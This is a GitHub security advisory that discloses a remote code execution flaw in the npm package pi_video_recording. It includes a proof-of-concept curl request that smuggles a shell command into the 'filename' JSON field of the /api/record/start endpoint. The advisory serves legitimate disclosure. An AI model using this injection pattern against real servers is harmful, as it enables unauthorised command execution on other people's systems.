GHSA-9wjh-jr2j-6r4x
high
Remote Code Execution in pi_video_recording
- Severity
- high rating by GitHub
- Published
- Last changed
Description
All versions of pi_video_recording are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint. After running the server, curl -POST -H "Content-Type: application/json" -d '{"filename": " || touch /tmp/worked;"}' http://localhost:5000/api/record/startcreates a file in the /tmp/ directory
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| pi_video_recording (npm) | all versions | GitHub Advisory Database |
Classification
References
Sources
| Source | Record | Licence |
|---|---|---|
| GitHub Advisory Database | GHSA-9wjh-jr2j-6r4x changed 2020-08-31 | CC-BY-4.0 |